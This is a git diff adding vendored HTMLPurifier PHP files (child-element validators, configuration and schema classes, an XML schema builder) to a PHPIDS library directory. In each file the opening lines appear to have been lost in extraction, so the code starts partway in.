b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php new file mode 100644 index 000000000..cbfd750a4 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php @@ -0,0 +1,19 @@ + $x) { + $elements[$i] = true; + if (empty($i)) unset($elements[$i]); // remove blank + } + } + $this->elements = $elements; + } + public $allow_empty = false; + public $type = 'required'; + public function validateChildren($tokens_of_children, $config, $context) { + // if there are no tokens, delete parent node + if (empty($tokens_of_children)) return false; + + // the new set of children + $result = array(); + + // current depth into the nest + $nesting = 0; + + // whether or not we're deleting a node + $is_deleting = false; + + // whether or not parsed character data is allowed + // this controls whether or not we silently drop a tag + // or generate escaped HTML from it + $pcdata_allowed = isset($this->elements['#PCDATA']); + + // a little sanity check to make sure it's not ALL whitespace + $all_whitespace = true; + + // some configuration + $escape_invalid_children = $config->get('Core', 'EscapeInvalidChildren'); + + // generator + $gen = new HTMLPurifier_Generator($config, $context); + + foreach ($tokens_of_children as $token) { + if (!empty($token->is_whitespace)) { + $result[] = $token; + continue; + } + $all_whitespace = false; // phew, we're not talking about whitespace + + $is_child = ($nesting == 0); + + if ($token instanceof HTMLPurifier_Token_Start) { + $nesting++; + } elseif ($token instanceof HTMLPurifier_Token_End) { + $nesting--; + } + + if ($is_child) { + $is_deleting = false; + if (!isset($this->elements[$token->name])) { + $is_deleting = true; + if ($pcdata_allowed && $token instanceof HTMLPurifier_Token_Text) { + $result[] = $token; + } elseif ($pcdata_allowed && $escape_invalid_children) { + $result[] = new HTMLPurifier_Token_Text( + $gen->generateFromToken($token) + ); + } + continue; + } + } + if (!$is_deleting || ($pcdata_allowed && $token instanceof HTMLPurifier_Token_Text)) { + $result[] = $token; + } elseif ($pcdata_allowed && $escape_invalid_children) { + $result[] = + new HTMLPurifier_Token_Text( + $gen->generateFromToken($token) + ); + } else { + // drop silently + } + } + if (empty($result)) return false; + if ($all_whitespace) return false; + if ($tokens_of_children == $result) return true; + return $result; + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php new file mode 100644 index 000000000..3ac834c02 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php @@ -0,0 +1,87 @@ +init($config); + return $this->fake_elements; + } + + public function validateChildren($tokens_of_children, $config, $context) { + + $this->init($config); + + // trick the parent class into thinking it allows more + $this->elements = $this->fake_elements; + $result = parent::validateChildren($tokens_of_children, $config, $context); + $this->elements = $this->real_elements; + + if ($result === false) return array(); + if ($result === true) $result = $tokens_of_children; + + $def = $config->getHTMLDefinition(); + $block_wrap_start = new HTMLPurifier_Token_Start($def->info_block_wrapper); + $block_wrap_end = new HTMLPurifier_Token_End( $def->info_block_wrapper); + $is_inline = false; + $depth = 0; + $ret = array(); + + // assuming that there are no comment tokens + foreach ($result as $i => $token) { + $token = $result[$i]; + // ifs are nested for readability + if (!$is_inline) { + if (!$depth) { + if ( + ($token instanceof HTMLPurifier_Token_Text && !$token->is_whitespace) || + (!$token instanceof HTMLPurifier_Token_Text && !isset($this->elements[$token->name])) + ) { + $is_inline = true; + $ret[] = $block_wrap_start; + } + } + } else { + if (!$depth) { + // starting tokens have been inline text / empty + if ($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) { + if (isset($this->elements[$token->name])) { + // ended + $ret[] = $block_wrap_end; + $is_inline = false; + } + } + } + } + $ret[] = $token; + if ($token instanceof HTMLPurifier_Token_Start) $depth++; + if ($token instanceof HTMLPurifier_Token_End) $depth--; + } + if ($is_inline) $ret[] = $block_wrap_end; + return $ret; + } + + private function init($config) { + if (!$this->init) { + $def = $config->getHTMLDefinition(); + // allow all inline elements + $this->real_elements = $this->elements; + $this->fake_elements = $def->info_content_sets['Flow']; + $this->fake_elements['#PCDATA'] = true; + $this->init = true; + } + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php new file mode 100644 index 000000000..50ad1155d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php @@ -0,0 +1,141 @@ + true, 'tbody' => true, 'thead' => true, + 'tfoot' => true, 'caption' => true, 'colgroup' => true, 'col' => true); + public function __construct() {} + public function validateChildren($tokens_of_children, $config, $context) { + if (empty($tokens_of_children)) return false; + + // this ensures that the loop gets run one last time before closing + // up. It's a little bit of a hack, but it works! Just make sure you + // get rid of the token later. + $tokens_of_children[] = false; + + // only one of these elements is allowed in a table + $caption = false; + $thead = false; + $tfoot = false; + + // as many of these as you want + $cols = array(); + $content = array(); + + $nesting = 0; // current depth so we can determine nodes + $is_collecting = false; // are we globbing together tokens to package + // into one of the collectors? + $collection = array(); // collected nodes + $tag_index = 0; // the first node might be whitespace, + // so this tells us where the start tag is + + foreach ($tokens_of_children as $token) { + $is_child = ($nesting == 0); + + if ($token === false) { + // terminating sequence started + } elseif ($token instanceof HTMLPurifier_Token_Start) { + $nesting++; + } elseif ($token instanceof HTMLPurifier_Token_End) { + $nesting--; + } + + // handle node collection + if ($is_collecting) { + if ($is_child) { + // okay, let's stash the tokens away + // first token tells us the type of the collection + switch ($collection[$tag_index]->name) { + case 'tr': + case 'tbody': + $content[] = $collection; + break; + case 'caption': + if ($caption !== false) break; + $caption = $collection; + break; + case 'thead': + case 'tfoot': + // access the appropriate variable, $thead or $tfoot + $var = $collection[$tag_index]->name; + if ($$var === false) { + $$var = $collection; + } else { + // transmutate the first and less entries into + // tbody tags, and then put into content + $collection[$tag_index]->name = 'tbody'; + $collection[count($collection)-1]->name = 'tbody'; + $content[] = $collection; + } + break; + case 'colgroup': + $cols[] = $collection; + break; + } + $collection = array(); + $is_collecting = false; + $tag_index = 0; + } else { + // add the node to the collection + $collection[] = $token; + } + } + + // terminate + if ($token === false) break; + + if ($is_child) { + // determine what we're dealing with + if ($token->name == 'col') { + // the only empty tag in the possie, we can handle it + // immediately + $cols[] = array_merge($collection, array($token)); + $collection = array(); + $tag_index = 0; + continue; + } + switch($token->name) { + case 'caption': + case 'colgroup': + case 'thead': + case 'tfoot': + case 'tbody': + case 'tr': + $is_collecting = true; + $collection[] = $token; + continue; + default: + if ($token instanceof HTMLPurifier_Token_Text && $token->is_whitespace) { + $collection[] = $token; + $tag_index++; + } + continue; + } + } + } + + if (empty($content)) return false; + + $ret = array(); + if ($caption !== false) $ret = array_merge($ret, $caption); + if ($cols !== false) foreach ($cols as $token_array) $ret = array_merge($ret, $token_array); + if ($thead !== false) $ret = array_merge($ret, $thead); + if ($tfoot !== false) $ret = array_merge($ret, $tfoot); + foreach ($content as $token_array) $ret = array_merge($ret, $token_array); + if (!empty($collection) && $is_collecting == false){ + // grab the trailing space + $ret = array_merge($ret, $collection); + } + + array_pop($tokens_of_children); // remove phantom token + + return ($ret === $tokens_of_children) ? true : $ret; + + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php new file mode 100644 index 000000000..d2591532b --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php @@ -0,0 +1,492 @@ +conf = $definition->defaults; // set up, copy in defaults + $this->def = $definition; // keep a copy around for checking + $this->parser = new HTMLPurifier_VarParser_Flexible(); + } + + /** + * Convenience constructor that creates a config object based on a mixed var + * @param mixed $config Variable that defines the state of the config + * object. Can be: a HTMLPurifier_Config() object, + * an array of directives based on loadArray(), + * or a string filename of an ini file. + * @param HTMLPurifier_ConfigSchema Schema object + * @return Configured HTMLPurifier_Config object + */ + public static function create($config, $schema = null) { + if ($config instanceof HTMLPurifier_Config) { + // pass-through + return $config; + } + if (!$schema) { + $ret = HTMLPurifier_Config::createDefault(); + } else { + $ret = new HTMLPurifier_Config($schema); + } + if (is_string($config)) $ret->loadIni($config); + elseif (is_array($config)) $ret->loadArray($config); + return $ret; + } + + /** + * Convenience constructor that creates a default configuration object. + * @return Default HTMLPurifier_Config object. + */ + public static function createDefault() { + $definition = HTMLPurifier_ConfigSchema::instance(); + $config = new HTMLPurifier_Config($definition); + return $config; + } + + /** + * Retreives a value from the configuration. + * @param $namespace String namespace + * @param $key String key + */ + public function get($namespace, $key) { + if (!$this->finalized && $this->autoFinalize) $this->finalize(); + if (!isset($this->def->info[$namespace][$key])) { + // can't add % due to SimpleTest bug + trigger_error('Cannot retrieve value of undefined directive ' . htmlspecialchars("$namespace.$key"), + E_USER_WARNING); + return; + } + if (isset($this->def->info[$namespace][$key]->isAlias)) { + $d = $this->def->info[$namespace][$key]; + trigger_error('Cannot get value from aliased directive, use real name ' . $d->namespace . '.' . $d->name, + E_USER_ERROR); + return; + } + return $this->conf[$namespace][$key]; + } + + /** + * Retreives an array of directives to values from a given namespace + * @param $namespace String namespace + */ + public function getBatch($namespace) { + if (!$this->finalized && $this->autoFinalize) $this->finalize(); + if (!isset($this->def->info[$namespace])) { + trigger_error('Cannot retrieve undefined namespace ' . htmlspecialchars($namespace), + E_USER_WARNING); + return; + } + return $this->conf[$namespace]; + } + + /** + * Returns a md5 signature of a segment of the configuration object + * that uniquely identifies that particular configuration + * @note Revision is handled specially and is removed from the batch + * before processing! + * @param $namespace Namespace to get serial for + */ + public function getBatchSerial($namespace) { + if (empty($this->serials[$namespace])) { + $batch = $this->getBatch($namespace); + unset($batch['DefinitionRev']); + $this->serials[$namespace] = md5(serialize($batch)); + } + return $this->serials[$namespace]; + } + + /** + * Returns a md5 signature for the entire configuration object + * that uniquely identifies that particular configuration + */ + public function getSerial() { + if (empty($this->serial)) { + $this->serial = md5(serialize($this->getAll())); + } + return $this->serial; + } + + /** + * Retrieves all directives, organized by namespace + */ + public function getAll() { + if (!$this->finalized && $this->autoFinalize) $this->finalize(); + return $this->conf; + } + + /** + * Sets a value to configuration. + * @param $namespace String namespace + * @param $key String key + * @param $value Mixed value + */ + public function set($namespace, $key, $value, $from_alias = false) { + if ($this->isFinalized('Cannot set directive after finalization')) return; + if (!isset($this->def->info[$namespace][$key])) { + trigger_error('Cannot set undefined directive ' . htmlspecialchars("$namespace.$key") . ' to value', + E_USER_WARNING); + return; + } + $def = $this->def->info[$namespace][$key]; + + if (isset($def->isAlias)) { + if ($from_alias) { + trigger_error('Double-aliases not allowed, please fix '. + 'ConfigSchema bug with' . "$namespace.$key", E_USER_ERROR); + return; + } + $this->set($new_ns = $def->namespace, + $new_dir = $def->name, + $value, true); + trigger_error("$namespace.$key is an alias, preferred directive name is $new_ns.$new_dir", E_USER_NOTICE); + return; + } + + // Raw type might be negative when using the fully optimized form + // of stdclass, which indicates allow_null == true + $rtype = is_int($def) ? $def : $def->type; + if ($rtype < 0) { + $type = -$rtype; + $allow_null = true; + } else { + $type = $rtype; + $allow_null = isset($def->allow_null); + } + + try { + $value = $this->parser->parse($value, $type, $allow_null); + } catch (HTMLPurifier_VarParserException $e) { + trigger_error('Value for ' . "$namespace.$key" . ' is of invalid type, should be ' . HTMLPurifier_VarParser::getTypeName($type), E_USER_WARNING); + return; + } + if (is_string($value) && is_object($def)) { + // resolve value alias if defined + if (isset($def->aliases[$value])) { + $value = $def->aliases[$value]; + } + // check to see if the value is allowed + if (isset($def->allowed) && !isset($def->allowed[$value])) { + trigger_error('Value not supported, valid values are: ' . + $this->_listify($def->allowed), E_USER_WARNING); + return; + } + } + $this->conf[$namespace][$key] = $value; + + // reset definitions if the directives they depend on changed + // this is a very costly process, so it's discouraged + // with finalization + if ($namespace == 'HTML' || $namespace == 'CSS') { + $this->definitions[$namespace] = null; + } + + $this->serials[$namespace] = false; + } + + /** + * Convenience function for error reporting + */ + private function _listify($lookup) { + $list = array(); + foreach ($lookup as $name => $b) $list[] = $name; + return implode(', ', $list); + } + + /** + * Retrieves object reference to the HTML definition. + * @param $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + */ + public function getHTMLDefinition($raw = false) { + return $this->getDefinition('HTML', $raw); + } + + /** + * Retrieves object reference to the CSS definition + * @param $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + */ + public function getCSSDefinition($raw = false) { + return $this->getDefinition('CSS', $raw); + } + + /** + * Retrieves a definition + * @param $type Type of definition: HTML, CSS, etc + * @param $raw Whether or not definition should be returned raw + */ + public function getDefinition($type, $raw = false) { + if (!$this->finalized && $this->autoFinalize) $this->finalize(); + $factory = HTMLPurifier_DefinitionCacheFactory::instance(); + $cache = $factory->create($type, $this); + if (!$raw) { + // see if we can quickly supply a definition + if (!empty($this->definitions[$type])) { + if (!$this->definitions[$type]->setup) { + $this->definitions[$type]->setup($this); + $cache->set($this->definitions[$type], $this); + } + return $this->definitions[$type]; + } + // memory check missed, try cache + $this->definitions[$type] = $cache->get($this); + if ($this->definitions[$type]) { + // definition in cache, return it + return $this->definitions[$type]; + } + } elseif ( + !empty($this->definitions[$type]) && + !$this->definitions[$type]->setup + ) { + // raw requested, raw in memory, quick return + return $this->definitions[$type]; + } + // quick checks failed, let's create the object + if ($type == 'HTML') { + $this->definitions[$type] = new HTMLPurifier_HTMLDefinition(); + } elseif ($type == 'CSS') { + $this->definitions[$type] = new HTMLPurifier_CSSDefinition(); + } elseif ($type == 'URI') { + $this->definitions[$type] = new HTMLPurifier_URIDefinition(); + } else { + throw new HTMLPurifier_Exception("Definition of $type type not supported"); + } + // quick abort if raw + if ($raw) { + if (is_null($this->get($type, 'DefinitionID'))) { + // fatally error out if definition ID not set + throw new HTMLPurifier_Exception("Cannot retrieve raw version without specifying %$type.DefinitionID"); + } + return $this->definitions[$type]; + } + // set it up + $this->definitions[$type]->setup($this); + // save in cache + $cache->set($this->definitions[$type], $this); + return $this->definitions[$type]; + } + + /** + * Loads configuration values from an array with the following structure: + * Namespace.Directive => Value + * @param $config_array Configuration associative array + */ + public function loadArray($config_array) { + if ($this->isFinalized('Cannot load directives after finalization')) return; + foreach ($config_array as $key => $value) { + $key = str_replace('_', '.', $key); + if (strpos($key, '.') !== false) { + // condensed form + list($namespace, $directive) = explode('.', $key); + $this->set($namespace, $directive, $value); + } else { + $namespace = $key; + $namespace_values = $value; + foreach ($namespace_values as $directive => $value) { + $this->set($namespace, $directive, $value); + } + } + } + } + + /** + * Returns a list of array(namespace, directive) for all directives + * that are allowed in a web-form context as per an allowed + * namespaces/directives list. + * @param $allowed List of allowed namespaces/directives + */ + public static function getAllowedDirectivesForForm($allowed, $schema = null) { + if (!$schema) { + $schema = HTMLPurifier_ConfigSchema::instance(); + } + if ($allowed !== true) { + if (is_string($allowed)) $allowed = array($allowed); + $allowed_ns = array(); + $allowed_directives = array(); + $blacklisted_directives = array(); + foreach ($allowed as $ns_or_directive) { + if (strpos($ns_or_directive, '.') !== false) { + // directive + if ($ns_or_directive[0] == '-') { + $blacklisted_directives[substr($ns_or_directive, 1)] = true; + } else { + $allowed_directives[$ns_or_directive] = true; + } + } else { + // namespace + $allowed_ns[$ns_or_directive] = true; + } + } + } + $ret = array(); + foreach ($schema->info as $ns => $keypairs) { + foreach ($keypairs as $directive => $def) { + if ($allowed !== true) { + if (isset($blacklisted_directives["$ns.$directive"])) continue; + if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) continue; + } + if (isset($def->isAlias)) continue; + if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') continue; + $ret[] = array($ns, $directive); + } + } + return $ret; + } + + /** + * Loads configuration values from $_GET/$_POST that were posted + * via ConfigForm + * @param $array $_GET or $_POST array to import + * @param $index Index/name that the config variables are in + * @param $allowed List of allowed namespaces/directives + * @param $mq_fix Boolean whether or not to enable magic quotes fix + * @param $schema Instance of HTMLPurifier_ConfigSchema to use, if not global copy + */ + public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema); + $config = HTMLPurifier_Config::create($ret, $schema); + return $config; + } + + /** + * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. + * @note Same parameters as loadArrayFromForm + */ + public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def); + $this->loadArray($ret); + } + + /** + * Prepares an array from a form into something usable for the more + * strict parts of HTMLPurifier_Config + */ + public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) { + if ($index !== false) $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); + $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc(); + + $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema); + $ret = array(); + foreach ($allowed as $key) { + list($ns, $directive) = $key; + $skey = "$ns.$directive"; + if (!empty($array["Null_$skey"])) { + $ret[$ns][$directive] = null; + continue; + } + if (!isset($array[$skey])) continue; + $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; + $ret[$ns][$directive] = $value; + } + return $ret; + } + + /** + * Loads configuration values from an ini file + * @param $filename Name of ini file + */ + public function loadIni($filename) { + if ($this->isFinalized('Cannot load directives after finalization')) return; + $array = parse_ini_file($filename, true); + $this->loadArray($array); + } + + /** + * Checks whether or not the configuration object is finalized. + * @param $error String error message, or false for no error + */ + public function isFinalized($error = false) { + if ($this->finalized && $error) { + trigger_error($error, E_USER_ERROR); + } + return $this->finalized; + } + + /** + * Finalizes configuration only if auto finalize is on and not + * already finalized + */ + public function autoFinalize() { + if (!$this->finalized && $this->autoFinalize) $this->finalize(); + } + + /** + * Finalizes a configuration object, prohibiting further change + */ + public function finalize() { + $this->finalized = true; + } + +} + + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php new file mode 100644 index 000000000..b632e7c19 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php @@ -0,0 +1,9 @@ +type = $type; + if ( $allow_null !== null) $this->allow_null = $allow_null; + if ( $allowed !== null) $this->allowed = $allowed; + if ( $aliases !== null) $this->aliases = $aliases; + } + + /** + * Allowed type of the directive. Values are: + * - string + * - istring (case insensitive string) + * - int + * - float + * - bool + * - lookup (array of value => true) + * - list (regular numbered index array) + * - hash (array of key => value) + * - mixed (anything goes) + */ + public $type = 'mixed'; + + /** + * Is null allowed? Has no effect for mixed type. + * @bool + */ + public $allow_null = false; + + /** + * Lookup table of allowed values of the element, bool true if all allowed. + */ + public $allowed = true; + + /** + * Hash of value aliases, i.e. values that are equivalent. + */ + public $aliases = array(); + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php new file mode 100644 index 000000000..ccb0d3d51 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php @@ -0,0 +1,24 @@ +namespace = $namespace; + $this->name = $name; + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php new file mode 100644 index 000000000..155e3e5f1 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php @@ -0,0 +1,10 @@ + array( + * 'Directive' => new stdclass(), + * ) + * ) + * + * The stdclass may have the following properties: + * + * - If isAlias isn't set: + * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions + * - allow_null: If set, this directive allows null values + * - aliases: If set, an associative array of value aliases to real values + * - allowed: If set, a lookup array of allowed (string) values + * - If isAlias is set: + * - namespace: Namespace this directive aliases to + * - name: Directive name this directive aliases to + * + * In certain degenerate cases, stdclass will actually be an integer. In + * that case, the value is equivalent to an stdclass with the type + * property set to the integer. If the integer is negative, type is + * equal to the absolute value of integer, and allow_null is true. + * + * This class is friendly with HTMLPurifier_Config. If you need introspection + * about the schema, you're better of using the ConfigSchema_Interchange, + * which uses more memory but has much richer information. + */ + public $info = array(); + + /** + * Application-wide singleton + */ + static protected $singleton; + + /** + * Unserializes the default ConfigSchema. + */ + public static function makeFromSerial() { + return unserialize(file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser')); + } + + /** + * Retrieves an instance of the application-wide configuration definition. + */ + public static function instance($prototype = null) { + if ($prototype !== null) { + HTMLPurifier_ConfigSchema::$singleton = $prototype; + } elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) { + HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial(); + } + return HTMLPurifier_ConfigSchema::$singleton; + } + + /** + * Defines a directive for configuration + * @warning Will fail of directive's namespace is defined. + * @warning This method's signature is slightly different from the legacy + * define() static method! Beware! + * @param $namespace Namespace the directive is in + * @param $name Key of directive + * @param $default Default value of directive + * @param $type Allowed type of the directive. See + * HTMLPurifier_DirectiveDef::$type for allowed values + * @param $allow_null Whether or not to allow null values + */ + public function add($namespace, $name, $default, $type, $allow_null) { + $obj = new stdclass(); + $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type]; + if ($allow_null) $obj->allow_null = true; + $this->info[$namespace][$name] = $obj; + $this->defaults[$namespace][$name] = $default; + } + + /** + * Defines a namespace for directives to be put into. + * @warning This is slightly different from the corresponding static + * method. + * @param $namespace Namespace's name + */ + public function addNamespace($namespace) { + $this->info[$namespace] = array(); + $this->defaults[$namespace] = array(); + } + + /** + * Defines a directive value alias. + * + * Directive value aliases are convenient for developers because it lets + * them set a directive to several values and get the same result. + * @param $namespace Directive's namespace + * @param $name Name of Directive + * @param $aliases Hash of aliased values to the real alias + */ + public function addValueAliases($namespace, $name, $aliases) { + if (!isset($this->info[$namespace][$name]->aliases)) { + $this->info[$namespace][$name]->aliases = array(); + } + foreach ($aliases as $alias => $real) { + $this->info[$namespace][$name]->aliases[$alias] = $real; + } + } + + /** + * Defines a set of allowed values for a directive. + * @warning This is slightly different from the corresponding static + * method definition. + * @param $namespace Namespace of directive + * @param $name Name of directive + * @param $allowed Lookup array of allowed values + */ + public function addAllowedValues($namespace, $name, $allowed) { + $this->info[$namespace][$name]->allowed = $allowed; + } + + /** + * Defines a directive alias for backwards compatibility + * @param $namespace + * @param $name Directive that will be aliased + * @param $new_namespace + * @param $new_name Directive that the alias will be to + */ + public function addAlias($namespace, $name, $new_namespace, $new_name) { + $obj = new stdclass; + $obj->namespace = $new_namespace; + $obj->name = $new_name; + $obj->isAlias = true; + $this->info[$namespace][$name] = $obj; + } + + /** + * Replaces any stdclass that only has the type property with type integer. + */ + public function postProcess() { + foreach ($this->info as $namespace => $info) { + foreach ($info as $directive => $v) { + if (count((array) $v) == 1) { + $this->info[$namespace][$directive] = $v->type; + } elseif (count((array) $v) == 2 && isset($v->allow_null)) { + $this->info[$namespace][$directive] = -$v->type; + } + } + } + } + + // DEPRECATED METHODS + + /** @see HTMLPurifier_ConfigSchema->set() */ + public static function define($namespace, $name, $default, $type, $description) { + HTMLPurifier_ConfigSchema::deprecated(__METHOD__); + $type_values = explode('/', $type, 2); + $type = $type_values[0]; + $modifier = isset($type_values[1]) ? $type_values[1] : false; + $allow_null = ($modifier === 'null'); + $def = HTMLPurifier_ConfigSchema::instance(); + $def->add($namespace, $name, $default, $type, $allow_null); + } + + /** @see HTMLPurifier_ConfigSchema->addNamespace() */ + public static function defineNamespace($namespace, $description) { + HTMLPurifier_ConfigSchema::deprecated(__METHOD__); + $def = HTMLPurifier_ConfigSchema::instance(); + $def->addNamespace($namespace); + } + + /** @see HTMLPurifier_ConfigSchema->addValueAliases() */ + public static function defineValueAliases($namespace, $name, $aliases) { + HTMLPurifier_ConfigSchema::deprecated(__METHOD__); + $def = HTMLPurifier_ConfigSchema::instance(); + $def->addValueAliases($namespace, $name, $aliases); + } + + /** @see HTMLPurifier_ConfigSchema->addAllowedValues() */ + public static function defineAllowedValues($namespace, $name, $allowed_values) { + HTMLPurifier_ConfigSchema::deprecated(__METHOD__); + $allowed = array(); + foreach ($allowed_values as $value) { + $allowed[$value] = true; + } + $def = HTMLPurifier_ConfigSchema::instance(); + $def->addAllowedValues($namespace, $name, $allowed); + } + + /** @see HTMLPurifier_ConfigSchema->addAlias() */ + public static function defineAlias($namespace, $name, $new_namespace, $new_name) { + HTMLPurifier_ConfigSchema::deprecated(__METHOD__); + $def = HTMLPurifier_ConfigSchema::instance(); + $def->addAlias($namespace, $name, $new_namespace, $new_name); + } + + /** @deprecated, use HTMLPurifier_VarParser->parse() */ + public function validate($a, $b, $c = false) { + trigger_error("HTMLPurifier_ConfigSchema->validate deprecated, use HTMLPurifier_VarParser->parse instead", E_USER_NOTICE); + $parser = new HTMLPurifier_VarParser(); + return $parser->parse($a, $b, $c); + } + + /** + * Throws an E_USER_NOTICE stating that a method is deprecated. + */ + private static function deprecated($method) { + trigger_error("Static HTMLPurifier_ConfigSchema::$method deprecated, use add*() method instead", E_USER_NOTICE); + } + +} + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php new file mode 100644 index 000000000..c1423bba3 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php @@ -0,0 +1,50 @@ +namespaces as $n) { + $schema->addNamespace($n->namespace); + } + foreach ($interchange->directives as $d) { + $schema->add( + $d->id->namespace, + $d->id->directive, + $d->default, + $d->type, + $d->typeAllowsNull + ); + if ($d->allowed !== null) { + $schema->addAllowedValues( + $d->id->namespace, + $d->id->directive, + $d->allowed + ); + } + foreach ($d->aliases as $alias) { + $schema->addAlias( + $alias->namespace, + $alias->directive, + $d->id->namespace, + $d->id->directive + ); + } + if ($d->valueAliases !== null) { + $schema->addValueAliases( + $d->id->namespace, + $d->id->directive, + $d->valueAliases + ); + } + } + $schema->postProcess(); + return $schema; + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php new file mode 100644 index 000000000..32a724cd9 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php @@ -0,0 +1,106 @@ +startElement('div'); + + $purifier = HTMLPurifier::getInstance(); + $html = $purifier->purify($html); + $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); + $this->writeRaw($html); + + $this->endElement(); // div + } + + protected function export($var) { + if ($var === array()) return 'array()'; + return var_export($var, true); + } + + public function build($interchange) { + // global access, only use as last resort + $this->interchange = $interchange; + + $this->setIndent(true); + $this->startDocument('1.0', 'UTF-8'); + $this->startElement('configdoc'); + $this->writeElement('title', $interchange->name); + + foreach ($interchange->namespaces as $namespace) { + $this->buildNamespace($namespace); + } + + $this->endElement(); // configdoc + $this->flush(); + } + + public function buildNamespace($namespace) { + $this->startElement('namespace'); + $this->writeAttribute('id', $namespace->namespace); + + $this->writeElement('name', $namespace->namespace); + $this->startElement('description'); + $this->writeHTMLDiv($namespace->description); + $this->endElement(); // description + + foreach ($this->interchange->directives as $directive) { + if ($directive->id->namespace !== $namespace->namespace) continue; + $this->buildDirective($directive); + } + + $this->endElement(); // namespace + } + + public function buildDirective($directive) { + $this->startElement('directive'); + $this->writeAttribute('id', $directive->id->toString()); + + $this->writeElement('name', $directive->id->directive); + + $this->startElement('aliases'); + foreach ($directive->aliases as $alias) $this->writeElement('alias', $alias->toString()); + $this->endElement(); // aliases + + $this->startElement('constraints'); + if ($directive->version) $this->writeElement('version', $directive->version); + $this->startElement('type'); + if ($directive->typeAllowsNull) $this->writeAttribute('allow-null', 'yes'); + $this->text($directive->type); + $this->endElement(); // type + if ($directive->allowed) { + $this->startElement('allowed'); + foreach ($directive->allowed as $value => $x) $this->writeElement('value', $value); + $this->endElement(); // allowed + } + $this->writeElement('default', $this->export($directive->default)); + $this->writeAttribute('xml:space', 'preserve'); + if ($directive->external) { + $this->startElement('external'); + foreach ($directive->external as $project) $this->writeElement('project', $project); + $this->endElement(); + } + $this->endElement(); // constraints + + if ($directive->deprecatedVersion) { + $this->startElement('deprecated'); + $this->writeElement('version', $directive->deprecatedVersion); + $this->writeElement('use', $directive->deprecatedUse->toString()); + $this->endElement(); // deprecated + } + + $this->startElement('description'); + $this->writeHTMLDiv($directive->description); + $this->endElement(); // description + + $this->endElement(); // directive + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php new file mode 100644 index 000000000..3a344600c --- /dev/null +++ 